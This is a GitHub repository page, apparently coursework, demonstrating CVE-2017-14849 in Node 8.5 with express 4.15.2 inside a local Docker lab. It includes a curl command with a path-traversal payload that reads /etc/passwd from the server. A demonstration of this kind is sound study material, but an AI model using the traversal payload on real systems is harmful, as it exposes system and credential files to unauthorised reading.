Skip to content

anthager/TDA602-DIT101-NodeExploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

Demonstration of CVE-2017-14849

This exploit lets any user allowed to GET a static file from an express server running express-4.15.2 and node v8.5 read any file the user running the webserver has access to on the host system.

Conveniently express shipped an exploitable example in the source

Prerequisites

  • Docker

Try it out

  • Build the image: docker build -t exploit .
  • Start the server: docker run -p 3000:3000 exploit
  • curl with a malicious path: curl --path-as-is 127.0.0.1:3000/../../../pivot/../../../../etc/passwd

About

Node js 8.5 exploit

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages